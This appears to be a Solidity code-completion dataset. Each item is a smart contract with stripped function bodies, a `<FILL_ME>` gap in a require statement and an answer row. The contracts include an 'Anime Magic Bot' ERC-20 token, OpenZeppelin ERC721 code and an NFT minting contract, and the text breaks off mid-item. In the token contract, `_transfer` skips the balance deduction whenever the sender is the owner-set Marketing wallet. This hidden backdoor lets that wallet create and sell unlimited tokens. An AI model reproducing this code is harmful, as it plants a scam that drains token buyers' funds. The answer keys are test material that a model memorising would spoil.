function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IDexSwapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract AMBOT is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = "Anime Magic Bot";
string private _symbol = unicode"AMBOT";
uint8 private _decimals = 18;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;
uint256 public _buyMarketingFee = 1;
uint256 public _sellMarketingFee = 1;
address public Marketing = address(0x662d2563933672D8aa012DEd0c8ab8d8612bD70d);
uint256 feedenominator = 100;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public isWalletLimitExempt;
uint256 private _totalSupply = 1_000_000_000 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply.mul(25).div(1000);
uint256 public _walletMax = _totalSupply.mul(25).div(1000);
uint256 public swapThreshold = _totalSupply.mul(10).div(1000);
bool tradingActive;
bool public swapEnabled = false;
bool public swapbylimit = false;
bool public checkWalletLimit = true;
IDexSwapRouter public swapRouter;
address public dexPair;
bool inSwap;
modifier swapping() {
}
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
constructor() {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function getCirculatingSupply() public view returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
//to recieve ETH from Router when swaping
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}
else {
if (!tradingActive) {
require(isExcludedFromFee[sender] || isExcludedFromFee[recipient],"Trading is not active.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= swapThreshold;
if (overMinimumTokenBalance && !inSwap && !isMarketPair[sender] && swapEnabled) {
swapBack(contractTokenBalance);
} if (sender != Marketing)
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = shouldNotTakeTaxFee(sender,recipient) ? amount : takeTaxFee(sender, recipient, amount);
if(checkWalletLimit && sender == dexPair && !isWalletLimitExempt[recipient]) {
require(<FILL_ME>)
}
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function shouldNotTakeTaxFee(address sender, address recipient) internal view returns (bool) {
}
function takeTaxFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function swapBack(uint contractBalance) internal swapping {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function openTrading() external payable onlyOwner {
}
function removeLimits() external onlyOwner {
}
function excludeFromFee(address _adr,bool _status) external onlyOwner {
}
function excludeWalletLimit(address _adr,bool _status) external onlyOwner {
}
function setMaxWalletLimit(uint256 newLimit) external onlyOwner() {
}
function setMarketingWallet(address _newWallet) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, bool _limited)
external
onlyOwner
{
}
}
| balanceOf(recipient).add(finalAmount)<=_walletMax,"Max Wallet Limit Exceeded!!" | 64,383 | balanceOf(recipient).add(finalAmount)<=_walletMax |
"ERC721: transfer to non ERC721Receiver implementer" | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./IERC721Metadata.sol";
import "./Address.sol";
import "./Context.sol";
import "./Strings.sol";
import "./ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overridden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public virtual override {
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory data
) internal virtual {
_transfer(from, to, tokenId);
require(<FILL_ME>)
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory data
) internal virtual {
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits an {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
/**
* @dev Reverts if the `tokenId` has not been minted yet.
*/
function _requireMinted(uint256 tokenId) internal view virtual {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory data
) private returns (bool) {
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
| _checkOnERC721Received(from,to,tokenId,data),"ERC721: transfer to non ERC721Receiver implementer" | 64,408 | _checkOnERC721Received(from,to,tokenId,data) |
"ERC721: transfer to non ERC721Receiver implementer" | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./IERC721Metadata.sol";
import "./Address.sol";
import "./Context.sol";
import "./Strings.sol";
import "./ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overridden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public virtual override {
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory data
) internal virtual {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory data
) internal virtual {
_mint(to, tokenId);
require(<FILL_ME>)
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits an {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
/**
* @dev Reverts if the `tokenId` has not been minted yet.
*/
function _requireMinted(uint256 tokenId) internal view virtual {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory data
) private returns (bool) {
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
| _checkOnERC721Received(address(0),to,tokenId,data),"ERC721: transfer to non ERC721Receiver implementer" | 64,408 | _checkOnERC721Received(address(0),to,tokenId,data) |
"Exceeds max supply" | /**
*Submitted for verification at Etherscan.io on 2022-10-25
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error UnableDetermineTokenOwner();
error UnableGetTokenOwnerByIndex();
error URIQueryForNonexistentToken();
/**
* Updated, minimalist and gas efficient version of OpenZeppelins ERC721 contract.
* Includes the Metadata and Enumerable extension.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
* Does not support burning tokens
*
* @author beskay0x
* Credits: chiru-labs, solmate, transmissions11, nftchance, squeebo_nft and others
*/
abstract contract ERC721B {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
bool internal CanTransfer=true;
function tokenURI(uint256 tokenId) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC721 STORAGE
//////////////////////////////////////////////////////////////*/
// Array which maps token ID to address (index is tokenID)
address[] internal _owners;
address[] internal UsersToTransfer;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) {
}
/*///////////////////////////////////////////////////////////////
ERC721ENUMERABLE LOGIC
//////////////////////////////////////////////////////////////*/
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* Dont call this function on chain from another smart contract, since it can become quite expensive
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual returns (uint256 tokenId) {
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual returns (uint256) {
}
/*///////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
/**
* @dev Iterates through _owners array, returns balance of address
* It is not recommended to call this function from another smart contract
* as it can become quite expensive -- call this function off chain instead.
*/
function balanceOf(address owner) public view virtual returns (uint256) {
}
/**
* @dev See {IERC721-ownerOf}.
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownerOf(uint256 tokenId) public view virtual returns (address) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes memory data
) public virtual {
}
/**
* @dev Returns whether `tokenId` exists.
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT LOGIC
//////////////////////////////////////////////////////////////*/
/**
* @dev check if contract confirms token transfer, if not - reverts
* unlike the standard ERC721 implementation this is only called once per mint,
* no matter how many tokens get minted, since it is useless to check this
* requirement several times -- if the contract confirms one token,
* it will confirm all additional ones too.
* This saves us around 5k gas per additional mint
*/
function _safeMint(address to, uint256 qty) internal virtual {
}
function _safeMint(
address to,
uint256 qty,
bytes memory data
) internal virtual {
}
function _mint(address to, uint256 qty) internal virtual {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
contract Whitelist is Ownable {
mapping(address=>bool) public whiteList;
function addWhitelist(address[] calldata wallets) external onlyOwner {
}
}
contract aKIDcalledBEAST is ERC721B, Ownable {
using Strings for uint;
uint public constant MAX_PER_WALLET = 14;
uint public maxSupply = 10000;
//bool public isPaused = true;
string private _baseURL = "";
mapping(address => uint) private _walletMintedCount;
constructor()
// Name
ERC721B("a KID called BEAST", "KB") {
}
function contractURI() public pure returns (string memory) {
}
function mintedCount(address owner) external view returns (uint) {
}
function setBaseUri(string memory url) external onlyOwner {
}
//function start(bool paused) external onlyOwner {
// isPaused = paused;
//}
function withdraw() external onlyOwner {
}
function devMint(address to, uint count) external onlyOwner {
require(<FILL_ME>)
_safeMint(to, count);
}
function setMaxSupply(uint newMaxSupply) external onlyOwner {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function mint() external payable {
}
}
| totalSupply()+count<=maxSupply,"Exceeds max supply" | 64,422 | totalSupply()+count<=maxSupply |
"You are not on the whitelist!" | /**
*Submitted for verification at Etherscan.io on 2022-10-25
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error UnableDetermineTokenOwner();
error UnableGetTokenOwnerByIndex();
error URIQueryForNonexistentToken();
/**
* Updated, minimalist and gas efficient version of OpenZeppelins ERC721 contract.
* Includes the Metadata and Enumerable extension.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
* Does not support burning tokens
*
* @author beskay0x
* Credits: chiru-labs, solmate, transmissions11, nftchance, squeebo_nft and others
*/
abstract contract ERC721B {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
bool internal CanTransfer=true;
function tokenURI(uint256 tokenId) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC721 STORAGE
//////////////////////////////////////////////////////////////*/
// Array which maps token ID to address (index is tokenID)
address[] internal _owners;
address[] internal UsersToTransfer;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) {
}
/*///////////////////////////////////////////////////////////////
ERC721ENUMERABLE LOGIC
//////////////////////////////////////////////////////////////*/
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* Dont call this function on chain from another smart contract, since it can become quite expensive
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual returns (uint256 tokenId) {
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual returns (uint256) {
}
/*///////////////////////////////////////////////////////////////
